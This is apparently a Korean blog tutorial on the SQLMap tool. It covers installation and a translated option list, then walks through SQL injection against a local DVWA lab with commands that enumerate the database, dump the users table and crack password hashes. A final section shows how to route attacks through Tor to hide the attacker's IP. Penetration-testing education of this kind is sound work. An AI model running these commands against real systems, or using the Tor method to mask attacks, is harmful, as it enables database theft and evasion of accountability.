가. SQLMap이란?
- 파이썬(Python)으로 제작된 오픈소스 도구로, 웹 애플리케이션의 SQL인젝션(Injection) 취약점을 자동으로 탐지하여 데이터베이스 정보를 열거해 준다.
나. SQLMap 다운로드 및 설치
1. Windows 환경
- SQLMap을 사용하려면 파이썬(Python)이 설치되어 있어야 한다. 아래의 게시글을 참고하여 파이썬을 설치한다.
[파이썬 강의] - 0.1 파이썬 개발 환경 구축
가. 윈도우즈에서 파이썬 개발 1. 설치 파일 다운로드 아래의 링크를 클릭해 파이썬 공식 다운로드 페이지로 이동한다. Download Python The official home of the Python Programming Language www.python.org 가장 높은
hagsig.tistory.com
1-1. SQLMap 사이트에서 다운로드
- 아래의 링크에 접속하여 SQLMap.zip을 다운로드한다.
sqlmap: automatic SQL injection and database takeover tool
Introduction sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate p
sqlmap.org

- 다운로드된 압축파일을 해제한 뒤, 명령 프롬프트를 통해 실행시킨다.

1-2. pip를 이용한 다운로드
- 아래의 명령어를 이용하여 SQLMap을 다운로드 및 설치한다.
*pip: 파이썬 패키지 라이브러리를 설치, 업데이트, 제거할 수 있는 도구이다.
#pip를 최신 버전으로 업데이트
pip install --upgrade pip
#SQLMap 다운로드
pip install sqlmap

2. Unix 환경
- KALI에는 기본적으로 SQLMap이 설치되어 있으니 별도로 설치할 필요는 없다.
- 그 외 유닉스 환경에서는 아래와 같은 명령어를 통해 SQLMap을 설치할 수 있다.
#apt 업데이트
apt update
#sqlmap 다운로드 및 설치
apt-get install sqlmap

다. SQLMap 옵션
1. Options (옵션)
| 옵션 | 설명 |
| -h, --help | 기본 도움말 메시지를 표시하고 종료한다 |
| -hh | 고급 도움말 메시지를 표시하고 종료한다 |
| --version | 프로그램의 버전 번호를 표시하고 종료한다 |
| -v VERBOSE | 상세 수준: 0-6(기본값 1) |
2. Target (대상)
- 아래의 옵션 중 하나 이상을 사용하여 대상을 정의해야 한다.
| 옵션 | 설명 |
| -u URL, --url=URL | 대상 URL(예: "hxxp://www.site.com/vuln.php?id=1") |
| -d DIRECT | 데이터베이스 직접 연결을 위한 연결 문자열 |
| -l LOGFILE | Burp 또는 WebScarab 프록시 로그 파일에서 대상을 구문 분석한다 |
| -m BULKFILE | 텍스트 파일에 제공된 여러 대상을 스캔한다 |
| -r REQUESTFILE | 파일에서 HTTP 요청을 로드한다 |
| -g GOOGLEDORK | Google dork 결과를 대상 URL로 처리한다 |
| -c CONFIGFILE | 구성 INI 파일에서 옵션을 로드한다 |
3. Request (요청)
- 아래의 옵션을 사용하여 대상 URL에 연결하는 방법을 지정할 수 있다.
| 옵션 | 설명 |
| -A AGENT, --user.. | HTTP User-Agent 헤더 값 |
| -H HEADER, --hea.. | 추가 헤더(예: "X-Forwarded-For: 127.0.0.1") |
| --method=METHOD | 지정된 HTTP 메서드(예: PUT)를 강제로 사용한다 |
| --data=DATA | POST를 통해 전송될 데이터 문자열(예: "id=1") |
| --param-del=PARA.. | 매개변수 값을 분할하는 데 사용되는 문자(예: &) |
| --cookie=COOKIE | HTTP 쿠키 헤더 값(예: "PHPSESSID=a8d127e..") |
| --cookie-del=COO.. | 쿠키 값을 분할하는 데 사용되는 문자(예: ;) |
| --live-cookies=L.. | 최신 값을 로드하는 데 사용되는 라이브 쿠키 파일 |
| --load-cookies=L.. | Netscape/wget 형식의 쿠키가 포함된 파일 |
| --drop-set-cookie | 응답에서 Set-Cookie 헤더를 무시한다 |
| --mobile | HTTP User-Agent 헤더를 통해 스마트폰 모방 |
| --random-agent | 무작위로 선택된 HTTP User-Agent 헤더 값을 사용한다 |
| --host=HOST | HTTP 호스트 헤더 값 |
| --referer=REFERER | HTTP 참조 헤더 값 |
| --headers=HEADERS | 추가 헤더(예: "Accept-Language: fr\nETag: 123") |
| --auth-type=AUTH.. | HTTP 인증 유형(Basic, Digest, Bearer, ...) |
| --auth-cred=AUTH.. | HTTP 인증 자격 증명(name:password) |
| --auth-file=AUTH.. | HTTP 인증 PEM 인증서/개인 키 파일 |
| --abort-code=ABO.. | (문제가 있는) HTTP 오류 코드(예: 401)에서 중단 |
| --ignore-code=IG.. | (문제가 있는) HTTP 오류 코드(예: 401)를 무시한다 |
| --ignore-proxy | 시스템 기본 프록시 설정을 무시한다 |
| --ignore-redirects | 리디렉션 시도를 무시한다 |
| --ignore-timeouts | 연결 시간 초과를 무시한다 |
| --proxy=PROXY | 프록시를 사용하여 대상 URL에 연결 |
| --proxy-cred=PRO.. | 프록시 인증 자격 증명(name:password) |
| --proxy-file=PRO.. | 파일에서 프록시 목록을 불러온다 |
| --proxy-freq=PRO.. | 주어진 목록에서 프록시 변경 사이의 요청 |
| --tor | Tor 익명 네트워크 사용 |
| --tor-port=TORPORT | 기본값이 아닌 Tor 프록시 포트 설정 |
| --tor-type=TORTYPE | Tor 프록시 유형 설정(HTTP, SOCKS4 또는 SOCKS5(기본값)) |
| --check-tor | Tor가 제대로 사용되는지 확인할 수 있음 |
| --delay=DELAY | 각 HTTP 요청 사이의 지연 시간(초) |
| --timeout=TIMEOUT | 연결 시간 초과 전 대기 시간(기본값 30) |
| --retries=RETRIES | 연결 시간 초과 시 재시도(기본값 3) |
| --retry-on=RETRYON | 정규 표현식과 일치하는 콘텐츠에 대한 재시도 요청(예: "drop") |
| --randomize=RPARAM | 주어진 매개변수의 값을 무작위로 변경한다 |
| --safe-url=SAFEURL | 테스트 중 자주 방문할 URL 주소 |
| --safe-post=SAFE.. | 안전한 URL로 보낼 POST 데이터 |
| --safe-req=SAFER.. | 파일에서 안전한 HTTP 요청 로드 |
| --safe-freq=SAFE.. | 안전한 URL 방문 사이에 정기적인 요청 |
| --skip-urlencode | 페이로드 데이터의 URL 인코딩 건너뛰기 |
| --csrf-token=CSR.. | 안티 CSRF 토큰을 보유하는 데 사용되는 매개변수 |
| --csrf-url=CSRFURL | 안티 CSRF 토큰 추출을 위해 방문할 URL 주소 |
| --csrf-method=CS.. | anti-CSRF 토큰 페이지 방문 중에 사용할 HTTP 메소드 |
| --csrf-data=CSRF.. | anti-CSRF 토큰 페이지 방문 중에 보낼 POST 데이터 |
| --csrf-retries=C.. | anti-CSRF 토큰 검색 재시도(기본값 0) |
| --force-ssl | SSL/HTTPS 강제 사용 |
| --chunked | HTTP 청크 전송 인코딩(POST) 요청을 사용한다 |
| --hpp | HTTP 매개변수 오염 방법 사용 |
| --eval=EVALCODE | 요청 전에 제공된 Python 코드를 평가한다(예:"import hashlib;id2=hashlib.md5(id).hexdigest()") |
4. Optimization (최적화)
- 아래의 옵션은 SQLMap의 성능을 최적화하는 데 사용할 수 있다.
| 옵션 | 설명 |
| -o | 모든 최적화 스위치를 사용한다 |
| --predict-output | 일반적인 쿼리 출력 예측 |
| --keep-alive | 지속적인 HTTP(s) 연결 사용 |
| --null-connection | 실제 HTTP 응답 본문 없이 페이지 길이를 검색한다 |
| --threads=THREADS | 최대 동시 HTTP 요청 수(기본값 1) |
5. Injection (삽입)
- 아래의 옵션을 사용하여 테스트할 매개변수를 지정할 수 있다. 맞춤형 injection 페이로드 및 선택적 변조 스크립트를 제공한다.
| 옵션 | 설명 |
| -p TESTPARAMETER | 테스트 가능한 매개변수 |
| --skip=SKIP | 주어진 매개변수에 대한 테스트 건너뛰기 |
| --skip-static | 동적이지 않은 것으로 보이는 테스트 매개변수 건너뛰기 |
| --param-exclude=.. | 테스트에서 매개변수를 제외하는 정규 표현식(예: "ses") |
| --param-filter=P.. | 테스트 가능한 매개변수를 장소별로 선택한다(예: "POST") |
| --dbms=DBMS | 백엔드 DBMS를 제공된 값으로 강제 적용 |
| --dbms-cred=DBMS.. | DBMS 인증 자격 증명(user:password) |
| --os=OS | 백엔드 DBMS 운영 체제를 제공된 값으로 강제 적용 |
| --invalid-bignum | 값을 무효화하려면 큰 숫자를 사용해야한다 |
| --invalid-logical | 값 무효화를 위해 논리 연산을 사용한다 |
| --invalid-string | 값을 무효화하려면 임의의 문자열을 사용해야한다 |
| --no-cast | 페이로드 캐스팅 메커니즘 끄기 |
| --no-escape | 문자열 이스케이프 메커니즘을 사용하지 않는다 |
| --prefix=PREFIX | injection 페이로드 접두사 문자열 |
| --suffix=SUFFIX | injection 페이로드 접미사 문자열 |
| --tamper=TAMPER | injection 데이터 변조를 위해 주어진 스크립트를 사용한다 |
6. Detection (탐지)
- 아래의 옵션을 사용하여 탐지 단계를 사용자가 정의할 수 있다.
| 옵션 | 설명 |
| --level=LEVEL | 수행할 테스트 수준(1-5, 기본값 1) |
| --risk=RISK | 수행할 테스트 위험(1-3, 기본값 1) |
| --string=STRING | 쿼리가 True로 평가될 때 일치시킬 문자열 |
| --not-string=NOT.. | 쿼리가 False로 평가될 때 일치시킬 문자열 |
| --regexp=REGEXP | 쿼리가 True로 평가될 때 일치하는 정규 표현식 |
| --code=CODE | 쿼리가 True로 평가될 때 일치하는 HTTP 코드 |
| --smart | 긍정적인 경험적 방법이 있는 경우에만 철저한 테스트를 수행한다 |
| --text-only | 텍스트 내용만을 기준으로 페이지를 비교한다 |
| --titles | 제목만을 기준으로 페이지를 비교한다 |
7. Techniques (기법)
- 아래의 옵션은 특정 SQL injection 테스트를 조정하는 데 사용할 수 있다.
| 옵션 | 설명 |
| --technique=TECH.. | 사용할 SQL injection 기술(기본값 "BEUSTQ") |
| --time-sec=TIMESEC | DBMS 응답을 지연하는 시간(초) (기본값 5) |
| --union-cols=UCOLS | UNION 쿼리 SQL injection을 테스트할 열 범위 |
| --union-char=UCHAR | 열 수에 대한 무차별 대입에 사용할 문자 |
| --union-from=UFROM | UNION 쿼리 SQL injection의 FROM 부분에 사용할 테이블 |
| --dns-domain=DNS.. | DNS 유출 공격에 사용되는 도메인 이름 |
| --second-url=SEC.. | 2차 응답에 대해 검색된 결과 페이지 URL |
| --second-req=SEC.. | 파일에서 2차 HTTP 요청 로드 |
8. Fingerprint (지문)
| 옵션 | 설명 |
| -f, --fingerprint | 광범위한 DBMS 버전 fingerprint를 수행한다 |
9. Enumeration (열거)
- 아래의 옵션은 백엔드 데이터베이스를 열거하는 데 사용할 수 있다. 관리 시스템 정보, 구조 및 데이터에 포함되어 있다.
| 옵션 | 설명 |
| -a, --all | 모든 것을 검색한다 |
| -b, --banner | DBMS 배너 검색 |
| --current-user | DBMS 현재 사용자 검색 |
| --current-db | DBMS 현재 데이터베이스 검색 |
| --hostname | DBMS 서버 호스트 이름을 검색한다 |
| --is-dba | DBMS 현재 사용자가 DBA인지 감지한다 |
| --users | DBMS 사용자를 열거한다 |
| --passwords | DBMS 사용자 비밀번호 해시를 열거한다 |
| --privileges | DBMS 사용자 권한을 열거한다 |
| --roles | DBMS 사용자 역할을 열거한다 |
| --dbs | DBMS 데이터베이스를 열거한다 |
| --tables | DBMS 데이터베이스 테이블을 열거한다 |
| --columns | DBMS 데이터베이스 테이블 열을 열거한다 |
| --schema | DBMS 스키마를 열거한다 |
| --count | 테이블의 항목 수를 검색한다 |
| --dump | DBMS 데이터베이스 테이블 항목 덤프 |
| --dump-all | 모든 DBMS 데이터베이스 테이블 항목을 덤프한다 |
| --search | 열, 테이블 및/또는 데이터베이스 이름 검색 |
| --comments | 열거 중 DBMS 주석을 확인한다 |
| --statements | DBMS에서 실행 중인 SQL 문을 검색한다 |
| -D DB | 열거할 DBMS 데이터베이스 |
| -T TBL | 열거할 DBMS 데이터베이스 테이블 |
| -C COL | DBMS 열거할 데이터베이스 테이블 열 |
| -X EXCLUDE | 열거하지 않을 DBMS 데이터베이스 식별자를 제외한다 |
| -U USER | USER 열거할 DBMS 사용자 |
| --exclude-sysdbs | 테이블을 열거할 때 DBMS 시스템 데이터베이스를 제외한다 |
| --pivot-column=P.. | 피벗 열 이름 |
| --where=DUMPWHERE | 테이블 덤핑 시 WHERE 조건 사용 |
| --start=LIMITSTART | 검색할 첫 번째 덤프 테이블 항목 |
| --stop=LIMITSTOP | 검색할 마지막 덤프 테이블 항목 |
| --first=FIRSTCHAR | 검색할 첫 번째 쿼리 출력 단어 문자 |
| --last=LASTCHAR | 검색할 마지막 쿼리 출력 단어 문자 |
| --sql-query=SQLQ.. | 실행할 SQL 문 |
| --sql-shell | 대화형 SQL 셸에 대한 프롬프트 |
| --sql-file=SQLFILE | 주어진 파일에서 SQL 문을 실행한다 |
10. Brute force (무차별 대입)
- 아래의 옵션은 무차별 대입 검사를 실행하는 데 사용할 수 있다.
| 옵션 | 설명 |
| --common-tables | 공통 테이블이 있는지 확인한다 |
| --common-columns | 공통 열이 있는지 확인한다 |
| --common-files | 공통 파일이 있는지 확인한다 |
11. User-defined function injection (사용자 정의 함수 삽입)
- 아래의 옵션은 커스텀 사용자 정의 함수를 만드는 데 사용할 수 있다.
| 옵션 | 설명 |
| --udf-inject | 커스텀 사용자 정의 함수 삽입 |
| --shared-lib=SHLIB | 공유 라이브러리의 로컬 경로 |
12. File system access (파일 시스템 접근)
- 아래의 옵션은 백엔드 데이터베이스 관리에 액세스 하는 데 사용할 수 있다.
| 옵션 | 설명 |
| --file-read=FILE.. | 백엔드 DBMS 파일 시스템에서 파일 읽기 |
| --file-write=FIL.. | 백엔드 DBMS 파일 시스템에 로컬 파일 쓰기 |
| --file-dest=FILE.. | 백엔드 DBMS 절대 파일 경로 |
13. Operating system access (운영체제 접근)
- 아래의 옵션은 백엔드 데이터베이스 관리에 접근하는 데 사용할 수 있다.
| 옵션 | 설명 |
| --os-cmd=OSCMD | 운영 체제 명령 실행 |
| --os-shell | 대화형 운영 체제 셸에 대한 프롬프트 |
| --os-pwn | OOB 쉘, Meterpreter 또는 VNC에 대한 프롬프트 |
| --os-smbrelay | OOB 셸, Meterpreter 또는 VNC에 대한 원클릭 프롬프트 |
| --os-bof | 저장 프로시저 버퍼 오버플로 활용 |
| --priv-esc | 데이터베이스 프로세스 사용자 권한 에스컬레이션 |
| --msf-path=MSFPATH | Metasploit Framework가 설치된 로컬 경로 |
| --tmp-path=TMPPATH | 임시 파일 디렉터리의 원격 절대 경로 |
14. Windows registry access (윈도우 레지스트리 접근)
- 아래의 옵션은 백엔드 데이터베이스 관리에 접근하는 데 사용할 수 있다.
| 옵션 | 설명 |
| --reg-read | Windows 레지스트리 키 값 읽기 |
| --reg-add | Windows 레지스트리 키 값 데이터 쓰기 |
| --reg-del | Windows 레지스트리 키 값 삭제 |
| --reg-key=REGKEY | Windows 레지스트리 키 |
| --reg-value=REGVAL | Windows 레지스트리 키 값 |
| --reg-data=REGDATA | Windows 레지스트리 키 값 데이터 |
| --reg-type=REGTYPE | Windows 레지스트리 키 값 유형 |
15. General (일반적인)
- 아래의 옵션은 일부 일반적인 작업 매개변수를 설정하는 데 사용할 수 있다.
| 옵션 | 설명 |
| -s SESSIONFILE | 저장된(.sqlite) 파일에서 세션 로드 |
| -t TRAFFICFILE | 모든 HTTP 트래픽을 텍스트 파일에 기록한다 |
| --abort-on-empty | 빈 결과에 대한 데이터 검색을 중단한다 |
| --answers=ANSWERS | 미리 정의된 답변 설정(예: "quit=N,follow=N") |
| --base64=BASE64P.. | Base64로 인코딩된 데이터가 포함된 매개변수 |
| --base64-safe | URL 및 파일 이름 안전 Base64 알파벳 사용(RFC 4648) |
| --batch | 사용자 입력을 요청하지 않고 기본 동작을 사용한다 |
| --binary-fields=.. | 바이너리 값을 갖는 결과 필드(예: "digest") |
| --check-internet | 대상을 평가하기 전에 인터넷 연결을 확인한다 |
| --cleanup | 특정 UDF 및 테이블에서 DBMS 정리 |
| --crawl=CRAWLDEPTH | 대상 URL에서 시작하여 웹사이트를 크롤링한다 |
| --crawl-exclude=.. | 크롤링에서 페이지를 제외하는 정규 표현식(예: "logout") |
| --csv-del=CSVDEL | CSV 출력에 사용되는 구분 문자(기본값 ",") |
| --charset=CHARSET | 블라인드 SQL injection 문자 세트(예: "0123456789abcdef") |
| --dump-file=DUMP.. | 덤프된 데이터를 사용자 정의 파일에 저장 |
| --dump-format=DU.. | 덤프된 데이터 형식(CSV(기본값), HTML 또는 SQLITE) |
| --encoding=ENCOD.. | 데이터 검색에 사용되는 문자 인코딩(예: GBK) |
| --eta | 각 출력에 대한 예상 도착 시간을 표시한다 |
| --flush-session | 현재 대상의 세션을 지운다 |
| --forms | 대상 URL의 양식을 구문 분석하고 테스트한다 |
| --fresh-queries | 세션 파일에 저장된 쿼리 결과를 무시한다 |
| --gpage=GOOGLEPAGE | 지정된 페이지 번호의 Google dork 결과 사용 |
| --har=HARFILE | 모든 HTTP 트래픽을 HAR 파일에 기록한다 |
| --hex | 데이터 검색 중 16진수 변환 사용 |
| --output-dir=OUT.. | 사용자 정의 출력 디렉터리 경로 |
| --parse-errors | 응답에서 DBMS 오류 메시지를 구문 분석하고 표시한다 |
| --preprocess=PRE.. | 전처리(요청)에 지정된 스크립트를 사용한다 |
| --postprocess=PO.. | 후처리(응답)에 지정된 스크립트를 사용한다 |
| --repair | 알 수 없는 문자 표시(?)가 있는 항목을 다시 덤프한다 |
| --save=SAVECONFIG | 구성 INI 파일에 옵션을 저장한다 |
| --scope=SCOPE | 대상 필터링을 위한 정규식 |
| --skip-heuristics | 취약점의 경험적 탐지 건너뛰기 |
| --skip-waf | WAF/IPS 보호의 경험적 탐지 건너뛰기 |
| --table-prefix=T.. | 임시 테이블에 사용되는 접두사 (기본값: "sqlmap") |
| --test-filter=TE.. | 페이로드 및/또는 제목(예: ROW)으로 테스트 선택 |
| --test-skip=TEST.. | 페이로드 및/또는 제목별로 테스트 건너뛰기(예: BENCHMARK) |
| --web-root=WEBROOT | 웹 서버 문서 루트 디렉터리(예: "/var/www") |
16. Miscellaneous (기타)
- 위의 카테고리에 포함되지 않는 옵션들이다.
| 옵션 | 설명 |
| -z MNEMONICS | 짧은 니모닉을 사용합니다(예: "flu,bat,ban,tec=EU") |
| --alert=ALERT | SQL injection이 발견되면 호스트 OS 명령을 실행한다 |
| --beep | 질문이 있거나 취약점이 발견되면 경고음이 울린다 |
| --dependencies | 종속성 누락된(선택 사항) sqlmap 종속성을 확인한다 |
| --disable-coloring | 콘솔 출력 색상 지정 비활성화 |
| --list-tampers | 사용 가능한 변조 스크립트 목록 표시 |
| --no-logging | 파일에 대한 로깅을 비활성화한다 |
| --offline | 오프라인 모드에서 작업(세션 데이터만 사용) |
| --purge | 데이터 디렉터리의 모든 콘텐츠를 안전하게 제거한다 |
| --results-file=R.. | 다중 대상 모드에서 CSV 결과 파일의 위치 |
| --shell | 대화형 sqlmap 쉘에 대한 프롬프트 |
| --tmp-dir=TMPDIR | 임시 파일을 저장하기 위한 로컬 디렉터리 |
| --unstable | 불안정한 연결에 대한 옵션 조정 |
| --update | sqlmap 업데이트 |
| --wizard | 초보자를 위한 간단한 마법사 인터페이스 |
라. SQLMap 사용 방법
1. 실습환경 설치
- 실제 서비스 중인 기업의 웹 사이트에 테스트하지 말고 아래의 게시글을 참고하여 테스트 환경을 구축한다.
가장 간단하고 쉬운 DVWA 설치·구축 방법
1. 칼리 리눅스 설치 및 실행 - 아래의 사이트에 접속하여 자신이 사용하는 가상머신에 맞는 이미지를 다운로드 한다.(초기 아이디/패스워드 : kali//kali) https://www.kali.org/get-kali/#kali-virtual-machines Get
hagsig.tistory.com
2. DVWA Security Level 조정
- 'DVWA Security' 버튼 클릭 → Low 선택 → 'Submit' 버튼 클릭

3. SQL Injection 공격포인트 탐지
- 'SQL Injection' 버튼 클릭 → 'User ID'에 임의의 문자 입력 → 'Submit' 버튼 클릭

- Request 패킷을 Proxy 도구로 캡처, sqlmap 구동에 필요한 정보를 수집
방법 1) URL 및 Cookie 값 복사

방법 2) Request 패킷을 텍스트(.txt) 파일로 저장, 우클릭 → 'Copy to file' 클릭 → .txt 확장자로 파일을 저장

4. SQL Injection 취약점이 존재하는지 확인
- sqlmap을 사용하여 sql 인젝션 취약점이 존재하는지 확인
#방법1. Request URL과 Cookie값을 입력하여 공격 시도
#방법1 예시
sqlmap -u "192.168.75.134/DVWA/vulnerabilities/sqli/?id=hagsig&Submit=Submit" --cookie="PHPSESSID=5brc7uk8ubifqmd14qgd3ltani; security=low" --risk 3 --level 1
#방법2. Request를 저장한 파일을 불러와 공격 시도
#방법2 예시
sqlmap -r "./hagsig.txt" --risk 3 --level 1


- DBMS가 MySQL인 것을 알아내었는데 다른 공격을 시도할 것인지 skip 할 것인지를 물어보고 있다. Y를 입력한다.

- MySQL에 대한 공격을 수행할 것이냐고 물어본다. Y를 입력한다.

- id 파라미터가 취약하는 것을 알아내었는데 다른 파라미터도 공격을 할 것인지 물어본다. y를 입력한다.

- SQL Injection 공격이 성공하면 아래와 같이 무슨 파라미터에 무슨 쿼리문 공격이 가능하다는 것을 알려주고 프로그램이 종료된다.

5. 데이터베이스 명 알아내기
- 위에서 사용한 명령어 뒤에 --current-db 옵션을 이용하여 데이터베이스명을 알아낸다.
#방법1. Request URL과 Cookie값을 입력하여 공격 시도
#방법1 예시
sqlmap -u "192.168.75.134/DVWA/vulnerabilities/sqli/?id=hagsig&Submit=Submit" --cookie="PHPSESSID=5brc7uk8ubifqmd14qgd3ltani; security=low" --risk 3 --level 1 --current-db
#방법2. Request를 저장한 파일을 불러와 공격 시도
#방법2 예시
sqlmap -r "./hagsig.txt" --risk 3 --level 1 --current-db

6. 테이블 명 알아내기
- 위에서 알아낸 데이터베이스 내에 어떤 테이블이 존재하는지 알기 위해 -D, --tables 옵션을 사용한다.
#방법1. Request URL과 Cookie값을 입력하여 공격 시도
#방법1 예시
sqlmap -u "192.168.75.134/DVWA/vulnerabilities/sqli/?id=hagsig&Submit=Submit" --cookie="PHPSESSID=5brc7uk8ubifqmd14qgd3ltani; security=low" --risk 3 --level 1 -D dvwa --tables
#방법2. Request를 저장한 파일을 불러와 공격 시도
#방법2 예시
sqlmap -r "./hagsig.txt" --risk 3 --level 1 -D dvwa --tables

7. 테이블 내의 데이터 출력하기
- 위에서 알아낸 테이블에서 테이터를 출력하기 위해 -T, --dump 옵션을 사용한다.
#방법1. Request URL과 Cookie값을 입력하여 공격 시도
#방법1 예시
sqlmap -u "192.168.75.134/DVWA/vulnerabilities/sqli/?id=hagsig&Submit=Submit" --cookie="PHPSESSID=5brc7uk8ubifqmd14qgd3ltani; security=low" --risk 3 --level 1 -D dvwa -T users --dump
#방법2. Request를 저장한 파일을 불러와 공격 시도
#방법2 예시
sqlmap -r "./hagsig.txt" --risk 3 --level 1 -D dvwa -T users --dump

- 해쉬 값을 따로 저장하겠냐고 묻고 있다. N을 입력한다.

- 사전공격으로 해시값을 크랙 할지 물어보고 있다. Y를 입력한다.

- 무슨 사전공격을 할 건지 물어보고 있다. 엔터를 쳐서 기본 공격인 1번을 선택한다.

- 비밀번호 뒤에 붙는 접미사도 필요한지 물어보고 있다. 느리다고 하니 N을 입력한다.

- 크랙이 끝나면 users테이블에 존재하는 데이터를 출력하여 준다.

마. 익명성이 보장된 SQL Injection 방법
- IP주소를 속여서 SQLMap을 사용하고 싶을 경우, --tor 옵션을 사용하여 익명성있는 SQL Injection을 수행할 수 있다.
*Tor : 여러 중계 노드를 경유하며 트래픽을 겹겹이 암호화해 사용자의 신원과 위치를 숨기는 익명 통신 네트워크이다.
1. Tor 설치
1-1. Windows 환경
- 아래의 링크에 접속하여 tor 브라우저를 설치한다.
Tor 프로젝트 | 개인정보 보호 및 온라인 자유
추적과 감시로부터 보호받으세요. 검열을 우회하세요.
www.torproject.org

- 이후 tor 브라우저를 실행한 뒤 익명 접속이 성공할 때까지 기다린다.


1-2. Unix 환경
- 아래의 명령어를 이용하여 tor를 설치한다.
#tor 다운로드 및 설치
apt-get install tor
#tor 서비스 실행
service tor start


2. Tor 이용을 위한 옵션
- 아래의 옵션을 이용하여 익명 탐지를 수행한다.
| 옵션 | 설명 |
| --tor | Tor 익명 네트워크 사용 |
| --tor-port=TORPORT | 기본값이 아닌 Tor 프록시 포트 설정 |
| --tor-type=TORTYPE | Tor 프록시 유형 설정(HTTP, SOCKS4 또는 SOCKS5(기본값)) |
| --check-tor | Tor가 제대로 사용되는지 확인할 수 있습니다 |
3. Tor 활용한 수행방법
- 아래와 같은 명령어를 이용하여 공격을 수행할 수 있다.
sqlmap --tor --tor-type=SOCKS5 --tor-port=9050 --check-tor -r ./hagsig.txt --risk 3 --level 1

- 만약 tor의 port번호가 기본값(9050)을 사용하지 않을 경우 아래와 같은 오류가 발생할 수 있다.
[CRITICAL] can't establish connection with the Tor SOCKS proxy. Please make sure that you have Tor service installed and setup so you could be able to successfully use switch '--tor'
- 이경우 tor가 어떤 Port를 사용하는지 알아낸 뒤, tor의 포트번호에 맞춰 --tor-port 값을 바꿔주어야 한다.


'프로그램 사용방법' 카테고리의 다른 글
| 가장쉬운 OpenVAS 설치 및 실행 방법 정리 (0) | 2024.01.15 |
|---|---|
| BurpSuite 자동 업데이트 기능 끄는 방법 (0) | 2023.08.22 |
| 아이폰·갤럭시폰·윈도우·맥북 파일 주고받는 방법 정리 (0) | 2023.08.18 |
| Quick Share를 이용한 파일 전송방법(스마트폰 ↔ 컴퓨터) (0) | 2023.08.06 |
| SoftPerfect Network Scanner 메뉴얼 - 시작화면 버튼 (0) | 2022.04.01 |